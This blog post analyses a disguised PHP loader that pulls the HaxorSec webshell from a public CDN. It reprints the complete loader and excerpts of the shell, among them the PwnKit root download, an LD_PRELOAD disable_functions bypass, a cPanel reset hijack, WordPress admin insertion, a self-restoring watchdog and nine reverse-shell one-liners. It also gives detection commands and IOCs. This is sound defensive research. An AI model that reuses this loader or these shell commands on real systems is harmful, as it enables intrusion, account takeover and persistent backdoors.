HaxorSec - A 1 KB Loader That Pulls a Full Webshell From jsDelivr
The sample is only 1,111 bytes. It was found today, 2026-11-02. It’s dressed as a “Data Sync Helper” 2026-11-14 00:31:54 Author: lukeleal.com(查看原文) 阅读量:2 收藏

The sample is only 1,111 bytes. It was found today, 2026-11-02. It’s dressed as a “Data Sync Helper” with a copyright line, an MIT license and an Indonesian-style company name, and its strings are hidden as octal escapes. It does one thing: download a file from a public CDN, save it as a hidden file next to itself, and include it.

The downloaded file is a 184 KB web shell called HaxorSec. It has no login. Its menu offers a PwnKit “Auto Root” button, a disable_functions bypass, a cPanel password-reset helper, a WordPress admin creator, nine reverse shells, and a “destroy” feature that stops every other PHP file on the site from being requested.

The loader saves the shell once and never refreshes it. After the first request, taking down the GitHub repo doesn’t switch off a site that has already cached the payload.

I read both files statically and never ran either. To test the loader I ran a copy with the network replaced by a local file and the include replaced by print.

The Loader#

The first lines set up the disguise and hide the two strings that matter:

/* =========================================================
 *  Data Sync Helper
 *  (c) 2026 PT Nusantara Digital
 *  Licensed under MIT License
 * ========================================================= */
@ini_set("\144\151\163\160\154\141\171\137\145\162\162\157\162\163", 0);   // "display_errors"
@error_reporting(0);

$__t = "\150\164\164\160\163\072\057\057\143\144\156\056\152\163\144\145\154\151\166\162..."; // the payload URL

Octal escapes decode to plain text. The first is display_errors, and $__t is:

https://cdn.jsdelivr.net/gh/assasincode05-boop/DATA@refs/heads/main/zz.txt

A search for jsdelivr in the file finds nothing, because the domain only exists as \143\144\156\056\152\163.... The header is also a costume: “PT” is the Indonesian form for a limited company, and I didn’t look into the name.

The cache logic#

$__k = __DIR__ . "/.c" . substr(sha1($__t), 0, 6) . ".inc";

if (!is_file($__k) || filesize($__k) < 100) {
    $__s = @fopen($__t, "rb");
    ... read it all, write it to $__k, chmod 0600 ...
}

if (is_file($__k) && filesize($__k) > 100) {
    @include $__k;
}

The cache file name is .c plus the first six hex characters of the URL’s SHA-1, plus .inc. For this URL that’s .cfee79e.inc. I computed it from the real URL and the sandbox run produced exactly that name. A different payload URL gives a different name, so a search should look for the pattern, not only this name.

I ran four tests on a sandboxed copy:

TestResult
remote file smaller than 100 bytesnothing is saved and nothing is included
first fetch of a normal-sized file.cfee79e.inc is created next to the loader with mode 0600, then included
the remote file changes, then a second requestthe cache keeps the first version. It’s never refreshed
allow_url_fopen=0, using the real URL pathsilent failure: no error, no file

Three properties follow from the code:

  • It’s frozen. The only condition for downloading is “the cache file is missing or tiny.” The operator can’t push a new version to a site that already has the cache, short of deleting the file through the shell. That also means a later takedown of the repo won’t affect those sites.
  • It’s quiet. The file is a dot-file with a .inc extension, so scanners that only open .php files skip it, but PHP runs it as code when included.
  • It needs allow_url_fopen. There’s no curl fallback. On a host that has turned that setting off, the loader does nothing and says nothing.

Where the Payload Lives#

cdn.jsdelivr.net/gh/<user>/<repo>@<ref>/<path> is jsDelivr’s way of serving files from a GitHub repository. The response is text/plain with cache-control: public, max-age=604800, s-maxage=43200, so the CDN holds a copy for up to 12 hours. Using a large public CDN means no attacker-owned domain to register, and a host that most firewalls and blocklists leave alone. It’s the same idea as the GitHub-hosted loaders in the fake Imunify360 dropper and the dead drop loaders, with the CDN in the middle.

The GitHub account behind the URL was easy to read from its public metadata:

When (UTC)What happened
2026-04-13 23:16:55account assasincode05-boop created. It has one repository and no followers
2026-04-13 23:17:09repository DATA created, 14 seconds later
2026-04-13 23:17:32first upload. adminer.php is renamed to adminer.txt 27 seconds later
quiet for almost six months
2026-10-04 to 2026-10-2818 more commits in 25 days, with new files appearing in quick succession: xxxx.txt (Oct 4), xxx.txt (12), x.txt (13), xx.txt and z.txt (14), zz.txt (2026-10-14 06:33), zzzz.php renamed to zzzz.txt (15), y.txt (16), index.txt (23), yy.txt (24), a last upload on Oct 28

zz.txt was committed once and never changed, so the payload I analyzed (SHA-256 below) has been stable since 14 October. Two files were uploaded as .php and renamed to .txt straight away.

The repository is a stash of shells, not just the one this loader uses. I only analyzed zz.txt. The descriptions below come from titles and markers in the first bytes of each file:

FileSizeWhat the first bytes say
zz.txt183,759HaxorSec (this post)
x.txt, xx.txt, xxx.txt37,351 / 60,799 / 48,927pages titled INDOHAXSEC (a login page and a file manager). x.txt also contains the string r57
xxxx.txt48,885Fidz FileManager
z.txt30,174vansec SHELL
index.txt, y.txt, zzz.txt, zzzz.txt9,554 / 9,931 / 4,133 / 81,994PHP with random-looking function names
yy.txt43,892PHP file-manager helpers (proc_open, passthru)
zzzzz.txt234,458PHP obfuscated with helpers named __phpob_hex, __phpob_xor and others
adminer.txt617,694Adminer, the database tool
wss713a ZIP archive with a single entry named DK
hex2sec.png59,335a 640 × 640 PNG

xx.txt, xxx.txt and xxxx.txt also share three helper functions named _svc_note, _svc_send and _svc_check. I haven’t read them.

The Payload: HaxorSec#

A table of hidden function names#

The file begins with a list of 35 hex strings, one per PHP function it needs:

$Array = [
    '676574637764', # getcwd => 0
    '676c6f62',     # glob   => 1
    ...
    '65786563',     # exec   => 16
    ...
    '70726f635f6f70656e', # proc_open => 23
    ...
];
for ($i = 0; $i < $hitung_array; $i++) { $fungsi[] = unx($Array[$i]); }

unx() turns hex into text, and from then on every sensitive call is $fungsi[16]($cmd) instead of exec($cmd). That idiom appears on 127 lines. The same unx() also decodes the ?d= parameter, so the shell’s current directory travels in the URL as hex (?d=2f686f6d65...). cmd(), the helper behind every terminal, tries exec, then passthru, system, shell_exec, popen and others, one after another, using hex-escaped names.

No lock on the door#

I looked for any kind of access control. The shell has no password, no session, no cookie check, and no test on the client’s IP address, user agent or referrer. The only two conditions evaluated before the page is drawn are ?d= (change directory) and ?don=. Anything that requests the loader’s URL gets the full interface. That’s worth stating plainly: a site carrying this loader is open to the operator, and also to every other scanner, rival and passer-by that finds the address.

Menu itemParameterWhat it does
Terminal TOP?terminalruns commands through cmd()
Terminal Bypass TOP?terminal=chankrogets around disable_functions (below)
Scanner SUID TOP?scan=suidopens a SUID scan view
Auto Root ROOT?terminal=rootdownloads and runs PwnKit (below)
Malware Scanner ROOT?malwarescanreports files containing a wordlist of dangerous function names
PHP Mailer?maileran SMTP mail sender (I didn’t read it)
Backconnect?backconnectnine reverse-shell one-liners
Unlock Shell?unlockshellkills the shell’s own watchdog (below)
CPanel Reset?cpanelresetthe account-takeover trick below
Create WP User?createwpinserts a WordPress administrator

It also has a file manager (edit, rename, chmod, touch, delete, upload, create), a MySQL manager, system information, a process list, network connections, a list of disabled functions, and ?adminer, which downloads Adminer 4.8.1 from github.com/vrana/adminer/releases. Two more handlers, ?lockshell and ?destroy, aren’t in the menu I extracted.

Auto Root: PwnKit#

if ($_GET['terminal'] == "root") {
    if (!$fungsi[3]('pwnkit') && $fungsi[4]($fungsi[0]())) {
        $fungsi[28]("pwnkit", $fungsi[11]("https://github.com/ly4k/PwnKit/raw/main/PwnKit"));
        cmd('chmod +x pwnkit');
        echo cmd('./pwnkit "id" > .haxorsec-root');
        ...

It downloads a public proof-of-concept for PwnKit (CVE-2021-4034), a privilege escalation in polkit’s pkexec, into the current folder, makes it executable, and runs id through it, writing the result to .haxorsec-root. If the file starts with uid=0(root), the page prints [+] Pwnkit: Root access success and every command typed into the “root terminal” is run as ./pwnkit "<command> 2>&1". If that fails it tries a 32-bit build (pwnkit32, .haxorsec-root32). The bug was fixed in January 2022, so this only works on hosts that never took that update. Note that the URL belongs to the researcher’s public repository, not to the attacker.

Terminal Bypass: Chankro#

This is a known disable_functions bypass. The shell carries an 8,504 byte x86-64 ELF shared object as an 11,340 character base64 string. The steps:

$a($full . '/chankro.so',   $base($hook));          // write the library
$a($full . '/acpid.socket', $base($meterpreter));   // write the command (+ " > test.txt")
$p('CHANKRO=' . $full . '/acpid.socket');           // putenv()
$p('LD_PRELOAD=' . $full . '/chankro.so');          // putenv()
if (function_exists('mail')) { $m('a','a','a','a'); ... }   // mail()

Calling mail() makes PHP start the sendmail program. That process inherits LD_PRELOAD, so the library is loaded into it, and the library runs whatever the CHANKRO variable points to. PHP never calls exec or system itself, so a disable_functions list that blocks them doesn’t matter. The output goes to test.txt in the web folder, and the page tells the operator to open that URL if nothing shows up. Even here the function names are assembled from fragments ("p"."u"."t"."e"."n"."v").

I decoded the library and read it as data only (SHA-256 below). It was built from a file named hook.c and imports getenv, unsetenv, chmod, system, fork and signal. It contains functions named preloadme and daemonize and the strings CHANKRO and LD_PRELOAD. That matches the public Chankro tool, but I didn’t compare it byte for byte against a build of the upstream source.

CPanel Reset#

$pathcp = dirname($_SERVER['DOCUMENT_ROOT']) . "/.cpanel/contactinfo";
$contactinfo = '"email" : "' . $emailCp . '"';
if (is_file($pathcp)) {
    file_put_contents($pathcp, $contactinfo);
    // redirect to  <scheme>://<server name>:2083/resetpass?start=1
}

The operator types an email address. The shell overwrites the account’s cPanel contact file, in the folder above the document root, with that address and sends the browser to cPanel’s own password-reset page on port 2083. The reset mail then goes to the attacker. That’s the technique the code attempts (the excerpt above is simplified; the full handler is in the samples). I didn’t test it against a real cPanel. It only runs if the contact file already exists.

Create WP User#

The handler connects to the site’s database with credentials the operator types in and runs a direct INSERT into wp_users and wp_usermeta, with a capabilities value that makes the new user an administrator. It’s the same bypass-WordPress technique as the Options implanter, done by hand. The table prefix is fixed at wp_, so sites with a different prefix aren’t affected.

There’s also a bug. The form’s field is named db_password, but the handler reads $_POST['db_pass']. As written, the password reaches the database connection empty, so this feature only works when the database account has no password.

Backconnect#

?backconnect builds a reverse-shell command from the operator’s host and port. It offers nine languages: Perl, Python, Ruby, Bash, PHP, nc (with a FIFO), sh, xterm and Go.

Lock Shell, Unlock Shell and “Destroy”#

Lock Shell protects the shell from being deleted. It copies the shell file into <tmp>/.sessions/ under a name derived from its path, makes the original read-only (0444), writes a small watchdog script into the same hidden folder and starts it in the background with php <watchdog> > /dev/null &. The watchdog is:

while (True){
    if (!file_exists("<shell path>")) { ... file_put_contents("<shell path>", base64_decode($text)); }   // put it back
    if (haxorsec_perm("<shell path>") != 0444) chmod("<shell path>", 0444);
    if (haxorsec_perm(__DIR__) != 0555)         chmod(__DIR__, 0555);
}

The loop has no sleep(), so the watchdog keeps one CPU core busy for as long as it lives. If you delete the shell, it comes back almost immediately. Unlock Shell is a blunt instrument: it runs killall -9 php and pkill -9 php, which stops the watchdog and every other PHP process owned by that user.

Destroy writes a .htaccess into the document root:

<FilesMatch "\.(php|ph*|Ph*|PH*|pH*)$">
    Deny from all
</FilesMatch>
<FilesMatch "^(<this shell's name>|index.php|wp-config.php|wp-includes.php)$">
    Allow from all
</FilesMatch>
<FilesMatch "\.(jpg|png|gif|pdf|jpeg)$">
    Allow from all
</FilesMatch>

Every PHP file in the tree is blocked from being requested over HTTP, except the shell, index.php, wp-config.php, and wp-includes.php. Images and PDFs stay available. The aim looks like cutting off other people’s backdoors, but on servers where these directives apply it also blocks direct requests to wp-login.php, xmlrpc.php and admin-ajax.php, so it would lock the owner out of the dashboard. (These are Apache 2.2-style directives. On Apache 2.4 they need mod_access_compat.) wp-includes.php isn’t a WordPress core file, so it may be where the operator keeps something else. That’s a guess.

Smaller pieces#

  • Uploader with a rename. The upload form named bitninja-upload saves the file, copies it to a random <random>.php name, deletes the original name, and shows an alert with the new name. BitNinja is a server-security product, and I don’t know why the author used the name.
  • Windows user creation. On Windows, add-rdp runs net user <name> <password> /add followed by net localgroup administrators <name> /add.
  • Scanner. The malware scanner reads .php and .phtml files, looks for strings like eval(, system(, gzinflate(, str_rot13( and reports the file, the match and the line number. It reports only. It doesn’t delete.
  • Recon. The function s() reads /etc/named.conf to list the domains hosted on the server, and suggest_exploit() derives the kernel version number from php_uname() for its exploit suggestions.

A logo that reports where the shell is#

<img src='https://cdn.privdayz.com/images/logo.jpg' height='15' width='75' referrerpolicy='unsafe-url' />

Every page of the interface loads this image from a third-party host. referrerpolicy='unsafe-url' tells the browser to send the complete URL, path and query string, of the page as the Referer, so that host receives the address of the shell and its ?d=<hex directory> parameter every time it’s opened. I can’t tell whether that’s intentional. The host privdayz.com was registered on 2020-04-22 and sits behind Cloudflare. I didn’t contact it.

Lineage#

The feature list matches the public Gecko web backdoor almost name for name. The README of the RootShelll/Gecko-Shell project on GitHub (created February 2025) and an older fork, bbennyputra/Gecko-backdoor, list “Linux Exploit Suggester,” “Backdoor Destroyer,” “Auto Root with Pwnkit,” “Lock Shell,” “Unlock Shell,” Backconnect, Adminer, “Cpanel Reset” and “WordPress add admin user.” Those are the same features in the HaxorSec payload: it has a suggest_exploit() function, and its ?destroy handler does what a “Backdoor Destroyer” would. So HaxorSec looks like a rebrand or extension of Gecko, with extras such as the Chankro bypass, the database manager and the scanner. I haven’t compared the source.

One difference stands out. Gecko’s README documents a default password. This build has none.

Detection & Cleanup#

# the loader: 20 or more octal escapes in a row
grep -rlE '(\\[0-7]{3}){20,}' --include='*.php' .
# hidden .inc caches made by this loader family: ".c" + 6 hex + ".inc"
find . -name '.c??????.inc' -size +100c
# the payload
grep -rliE 'haxorsec' .
grep -rlE '\$fungsi\[[0-9]+\]\(' --include='*.php' .
grep -rl  '676574637764' .                         # hex for "getcwd" in the function table
  • Check the .inc is not served as text. The cache is a plain dot-file. On many default web server configurations, only .ht* files are blocked, so https://<site>/.cfee79e.inc may return the whole shell source as text. I haven’t tested that on a real server. It’s worth a quick curl -I against your own site, and a rule that blocks dot-files and .inc is a cheap fix.
  • Find the artifacts the shell leaves. In or near the web root: chankro.so, acpid.socket, test.txt, pwnkit, pwnkit32, .haxorsec-root, .haxorsec-root32, adminer.php. In /tmp: a hidden .sessions/ folder with dot-files inside. Elsewhere: a .htaccess that denies every PHP file, and a changed ~/.cpanel/contactinfo.
  • Look for the watchdog process. ps -eo pid,pcpu,args --sort=-pcpu | grep -E '\.sessions/\.' shows a PHP interpreter running a script from that hidden folder at very high CPU.
  • Look in the access logs. The interface is driven by query strings: ?d= followed by a long hex string, and parameters such as terminal, backconnect, cpanelreset, createwp, lockshell, unlockshell, destroy, adminer, malwarescan and dbmanager. Because there’s no login, you should expect requests from more than one address.
  • Outbound traffic. cdn.jsdelivr.net/gh/assasincode05-boop/... from a PHP process, and the three GitHub downloads: github.com/ly4k/PwnKit/raw/main/PwnKit and PwnKit32, and github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php. Those two are public projects, so the destination alone isn’t an indicator. The pattern is.
  • WordPress. Check wp_users and wp_usermeta for recent administrators. The shell only writes to tables with the wp_ prefix.
  • cPanel. Check ~/.cpanel/contactinfo, and the account’s contact email in cPanel. Reset the password if either was changed.
  • Cleanup order matters. Stop the watchdog first (pkill -f '/\.sessions/\.'), because it recreates a deleted shell almost instantly. The shell file is 0444 and the hidden .sessions folder is 0555, so chmod u+w them before deleting. Then remove the loader, .cfee79e.inc, the artifacts above and the .sessions/ folder, and take the lockdown lines out of .htaccess.
  • Treat any reported root as a host problem. If .haxorsec-root contains uid=0(root), PwnKit worked, and the machine needs the January 2022 polkit update and a root-level review, not just a clean site.

IOCs#

Loader   xhr_sample.php   1,111 bytes
         sha256 64240e57baa430c0cab576df7f7d53e2409920427f435d80a574c3b984d615fd
         md5    b55bde4112464ea80309dce011b20a3e
         header "Data Sync Helper (c) 2026 PT Nusantara Digital"   cache file  .cfee79e.inc  (mode 0600)

Payload  zz.txt   183,759 bytes    sha256 462c2fb555619eb268fe9e34fefebc450108cfd6ef022a8f95a73c66944b89e2
         https://cdn.jsdelivr.net/gh/assasincode05-boop/DATA@refs/heads/main/zz.txt
         GitHub user assasincode05-boop (id 275840890, created 2026-04-13), repo DATA, committed 2026-10-14

ELF      chankro.so   8,504 bytes   sha256 8dc64bba19eeb379a080eadf03072c818bad847cfa04250e7c15b5745fbc1eab
         md5 7bba3ad0f8d623a05ed14867e79afab3     built from hook.c; strings CHANKRO, LD_PRELOAD, preloadme, daemonize

Shell    title "HaxorSec [", function haxorsec_perm(), form fields haxorsec-bc, haxorsec-up-submit, haxorsec-upload, bitninja-upload (file), exechankro
         files: chankro.so, acpid.socket, test.txt, pwnkit, pwnkit32, .haxorsec-root, .haxorsec-root32, adminer.php
         /tmp/.sessions/.<base64>-text and -handler      writes ~/.cpanel/contactinfo      cPanel reset page :2083/resetpass?start=1
         .htaccess: FilesMatch deny for php, allow list  <shell>, index.php, wp-config.php, wp-includes.php
Beacon   https://cdn.privdayz.com/images/logo.jpg  (referrerpolicy=unsafe-url)
Fetched  github.com/ly4k/PwnKit/raw/main/PwnKit, PwnKit32     github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php

Samples#

xhr_sample.php (the loader, complete)
<?php
/* =========================================================
 *  Data Sync Helper
 *  (c) 2026 PT Nusantara Digital
 *  Licensed under MIT License
 * ========================================================= */
@ini_set("\144\151\163\160\154\141\171\137\145\162\162\157\162\163", 0);
@error_reporting(0);

$__t = "\150\164\164\160\163\072\057\057\143\144\156\056\152\163\144\145\154\151\166\162\056\156\145\164\057\147\150\057\141\163\163\141\163\151\156\143\157\144\145\060\065\055\142\157\157\160\057\104\101\124\101\100\162\145\146\163\057\150\145\141\144\163\057\155\141\151\156\057\172\172\056\164\170\164";

$__k = __DIR__ . "/.c" . substr(sha1($__t), 0, 6) . ".inc";

if (!is_file($__k) || filesize($__k) < 100) {
    $__s = @fopen($__t, "rb");
    if ($__s) {
        $__b = "";
        while (!feof($__s)) { $__b .= fread($__s, 8192); }
        fclose($__s);
        if (strlen($__b) > 100) {
            $__d = @fopen($__k, "wb");
            if ($__d) { fwrite($__d, $__b); fclose($__d); @chmod($__k, 0600); }
        }
    }
}

if (is_file($__k) && filesize($__k) > 100) {
    @include $__k;
}
zz.txt (the HaxorSec payload): excerpts of the parts described above
// ===== hex-encoded function-name table (zz.txt lines 1-47) =====
<?php
@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);

$Array = [
    '676574637764', # ge  tcw d => 0
    '676c6f62', # gl ob => 1
    '69735f646972', # is_d ir => 2
    '69735f66696c65', # is_ file => 3
    '69735f7772697461626c65', # is_wr iteable => 4
    '69735f7265616461626c65', # is_re adble => 5
    '66696c657065726d73', # fileper ms => 6
    '66696c65', # f ile => 7
    '7068705f756e616d65', # php_unam e => 8
    '6765745f63757272656e745f75736572', # getc urrentuser => 9
    '68746d6c7370656369616c6368617273', # html special => 10
    '66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11
    '6d6b646972', # mk dir => 12
    '746f756368', # to uch => 13
    '6368646972', # ch dir => 14
    '72656e616d65', # ren ame => 15
    '65786563', # exe c => 16
    '7061737374687275', # pas sthru => 17
    '73797374656d', # syst em => 18
    '7368656c6c5f65786563', # sh ell_exec => 19
    '706f70656e', # p open => 20
    '70636c6f7365', # pcl ose => 21
    '73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22
    '70726f635f6f70656e', # p roc_open => 23
    '756e6c696e6b', # un link => 24
    '726d646972', # rmd ir => 25
    '666f70656e', # fop en => 26
    '66636c6f7365', # fcl ose => 27
    '66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28
    '6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29
    '63686d6f64', # ch mod => 30
    '7379735f6765745f74656d705f646972', # temp _dir => 31
    '6261736536345F6465636F6465', # => bas e6 4 _decode => 32
    '6261736536345F656E636F6465', # => ba se6 4_ encode => 33
    '636f7079' # co py => 34
];
$hitung_array = count($Array);

// ===== unx(): hex decoder (zz.txt lines 3045-3052) =====
function unx($y)
{
    $n = '';
    for ($i = 0; $i < strlen($y) - 1; $i += 2) {
        $n .= chr(hexdec($y[$i] . $y[$i + 1]));
    }
    return $n;
}

// ===== Terminal Bypass (Chankro) (zz.txt lines 2327-2362) =====
                    if (isset($_POST['terminal-chankro'])) {
                        $p = "p"."u"."t"."e"."n"."v";
                        $a = "fi"."le_p"."ut_c"."ont"."e"."nt"."s";
                        $m = "m"."a"."i"."l";
                        $base = "ba"."se"."64"."_"."de"."co"."de";
                        $en = "ba"."se"."64"."_"."en"."co"."de";
                        $mb = "m"."b"."_"."s"."e"."n"."d"."_"."m"."a"."i"."l";
                        $err = "e"."r"."r"."o"."r"."_"."l"."o"."g";
                        $drnm = "d"."i"."r"."n"."a"."m"."e";
                        $imp = "i"."m"."a"."p"."_"."m"."a"."i"."l";
                        $currentFilePath = $_SERVER['PHP_SELF'];
                        $doc = $_SERVER['DOCUMENT_ROOT'];
                        $directoryPath = dirname($currentFilePath);
                        $full = $doc . $directoryPath;
                        $is_https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443;
                        $host = $_SERVER['HTTP_HOST'];
                        $script_path = $_SERVER['SCRIPT_NAME'];
                        $new_path = str_replace(basename($script_path), 'test.txt', $script_path);
                        $full_url = ($is_https ? 'https://' : 'http://') . $host . $new_path;
                        if(isset($_POST['exechankro'])){
                            $hook = '<11,340 base64 characters: x86-64 ELF shared object, 8,504 bytes decoded>';
                            $cmdd = $_POST['exechankro'];
                            $meterpreter = $en($cmdd." > test.txt");
                            $viewCommandResult = '<hr><p>Result: base64 : ' . $meterpreter .'</br>If no output appears, <br>please check manually by opening '.$full_url.'<br>Or u can check command with reverse shell script<br>Powered By @ HaxorSec<br><br>';
                            $a($full . '/chankro.so', $base($hook));
                            $a($full . '/acpid.socket', $base($meterpreter));
                            $p('CHANKRO=' . $full . '/acpid.socket');
                            $p('LD_PRELOAD=' . $full . '/chankro.so');
                            if(function_exists('mail')) {
                                $m('a','a','a','a');
                                echo $viewCommandResult;
                                $is_https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443;
                                $host = $_SERVER['HTTP_HOST'];
                                $script_path = $_SERVER['SCRIPT_NAME'];
                                $new_path = str_replace(basename($script_path), 'test.txt', $script_path);
                                $full_url = ($is_https ? 'https://' : 'http://') . $host . $new_path;

// ===== Auto Root (PwnKit) download (zz.txt lines 2797-2804) =====
if ($_GET['terminal'] == "root") {
    if (!$fungsi[3]('pwnkit') && $fungsi[4]($fungsi[0]())) {
        $fungsi[28]("pwnkit", $fungsi[11]("https://github.com/ly4k/PwnKit/raw/main/PwnKit"));
        cmd('chmod +x pwnkit');
        echo cmd('./pwnkit "id" > .haxorsec-root');
        echo '<meta http-equiv="refresh" content="0;url=?d=' . hx($fungsi[0]()) . '&terminal=root">';
    }
}

// ===== cPanel Reset (zz.txt lines 2845-2858) =====
    if ($_POST['resetcp'] == true) {
        $emailCp = $_POST['resetcp'];
        $path0cp = dirname($_SERVER['DOCUMENT_ROOT']);
        $pathcp = $path0cp . "/.cpanel/contactinfo";
        $contactinfo = '
"email" : "' . $emailCp . '"
        ';
        if ($fungsi[3]($pathcp)) {
            $fungsi[28]($pathcp, $contactinfo);
            echo '<meta http-equiv="refresh" content="0;url=' . $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['SERVER_NAME'] . ':2083/resetpass?start=1">';
        } else {
            failed();
        }
    }

// ===== Create WP User (zz.txt lines 2581-2600) =====
if (isset($_POST['submitwp'])) {
    $db_name = $_POST['db_name'];
    $db_user = $_POST['db_user'];
    $db_pass = $_POST['db_pass'];
    $db_host = $_POST['db_host'];
    $wp_user = $_POST['wp_user'];
    $wp_pass = password_hash($_POST['wp_pass'], PASSWORD_DEFAULT);

    $conn = new mysqli($db_host, $db_user, $db_pass, $db_name);

    if ($conn->connect_error) {
        failed();
        die("Error Cug : " . $conn->connect_error);
    }

    $sql = "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES ('$wp_user', '$wp_pass', 'HaxorSec', '', '', NOW(), '', 0, 'HaxorSec')";

    $sqltakeuserid = "SELECT ID FROM wp_users WHERE user_login = '$wp_user'";

    if ($conn->query($sql) === TRUE && $conn->query($sqltakeuserid)) {

// ===== Lock Shell watchdog (zz.txt lines 2676-2722) =====
if (isset($_GET['lockshell'])) {
    $curFile = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));
    $TmpNames = $fungsi[31]();
    if (file_exists($TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile)  . '-handler')) && file_exists($TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text'))) {
        cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text'));
        cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-handler'));
    }
    mkdir($TmpNames . "/.sessions");
    cmd("cp $curFile " . $TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text'));
    chmod($curFile, 0444);
    $handler = '
<?php
@ini_set("max_execution_time", 0);
while (True){
    if (!file_exists("' . __DIR__ . '")){
        mkdir("' . __DIR__ . '");
    }
    if (!file_exists("' . $fungsi[0]() . '/' . $curFile . '")){
        $text = ' . $fungsi[33] . '(file_get_contents("' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text') . '"));
        file_put_contents("' . $fungsi[0]() . '/' . $curFile . '", ' . $fungsi[32] . '($text));
    }
    if (haxorsec_perm("' . $fungsi[0]() . '/' . $curFile . '") != 0444){
        chmod("' . $fungsi[0]() . '/' . $curFile . '", 0444);
    }
    if (haxorsec_perm("' . __DIR__ . '") != 0555){
        chmod("' . __DIR__ . '", 0555);
    }
}

function haxorsec_perm($flename){
    return substr(sprintf("%o", fileperms($flename)), -4);
}
';
    $hndlers = $fungsi[28]($TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($curFile)  . '-handler') . "", $handler);
    if ($hndlers) {
        $php = PHP_BINARY;
        if (!is_executable($php)) {
            $php = 'php';
        }
        $cmd = $php . ' ' . $TmpNames . '/.sessions/.' . $fungsi[33](
            $fungsi[0]() . remove_dot($curFile) . '-handler') . ' > /dev/null 2>/dev/null &';
            cmd($cmd);
            success();
    } else {
        failed();
    }
}

// ===== "Destroy": .htaccess lockdown (zz.txt lines 2753-2776) =====
if (isset($_GET['destroy'])) {
    $DOC_ROOT = $_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];
    $CurrentFile = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));
    if ($fungsi[4]($DOC_ROOT)) {
        $htaccess = '
<FilesMatch "\.(php|ph*|Ph*|PH*|pH*)$">
    Deny from all
</FilesMatch>
<FilesMatch "^(' . $CurrentFile . '|index.php|wp-config.php|wp-includes.php)$">
    Allow from all
</FilesMatch>
<FilesMatch "\.(jpg|png|gif|pdf|jpeg)$">
    Allow from all
</FilesMatch>';
        $put_htt = $fungsi[28]($DOC_ROOT . "/.htaccess", $htaccess);
        if ($put_htt) {
            success();
        } else {
            failed();
        }
    } else {
        failed();
    }
}

// ===== Backconnect (one-liners abbreviated by line width only) (zz.txt lines 2650-2672) =====
if (isset($_POST['submit-bc'])) {
    $HostServer = $_POST['backconnect-host'];
    $PortServer = $_POST['backconnect-port'];
    if ($_POST['haxorsec-bc'] == "perl") {
        echo cmd('perl -e \'use Socket;$i="' . $HostServer . '";$p=' . $PortServer . ';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");' . $fungsi[16] . '("/bin/sh -i");};\'');
    } else if ($_POST['haxorsec-bc'] == "python") {
        echo cmd('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' . $HostServer . '",' . $PortServer . '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
    } else if ($_POST['haxorsec-bc'] == "ruby") {
        echo cmd('ruby -rsocket -e\'f=TCPSocket.open("' . $HostServer . '",' . $PortServer . ').to_i;' . $fungsi[16] . ' sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\'');
    } else if ($_POST['haxorsec-bc'] == "bash") {
        echo cmd('bash -i >& /dev/tcp/' . $HostServer . '/' . $PortServer . ' 0>&1');
    } else if ($_POST['haxorsec-bc'] == "php") {
        echo cmd('php -r \'$sock=fsockopen("' . $HostServer . '",' . $PortServer . ');' . $fungsi[16] . '("/bin/sh -i <&3 >&3 2>&3");\'');
    } else if ($_POST['haxorsec-bc'] == "nc") {
        echo cmd('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' . $HostServer . ' ' . $PortServer . ' >/tmp/f');
    } else if ($_POST['haxorsec-bc'] == "sh") {
        echo cmd('sh -i >& /dev/tcp/' . $HostServer . '/' . $PortServer . ' 0>&1');
    } else if ($_POST['haxorsec-bc'] == "xterm") {
        echo cmd('xterm -display ' . $HostServer . ':' . $PortServer);
    } else if ($_POST['haxorsec-bc'] == "golang") {
        echo cmd('echo \'package main;import"os/' . $fungsi[16] . '";import"net";func main(){c,_:=net.Dial("tcp","' . $HostServer . ':' . $PortServer . '");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go');
    }
}

文章来源: https://lukeleal.com/research/posts/haxorsec-jsdelivr-loader-webshell/
如有侵权请联系:admin#unsafe.sh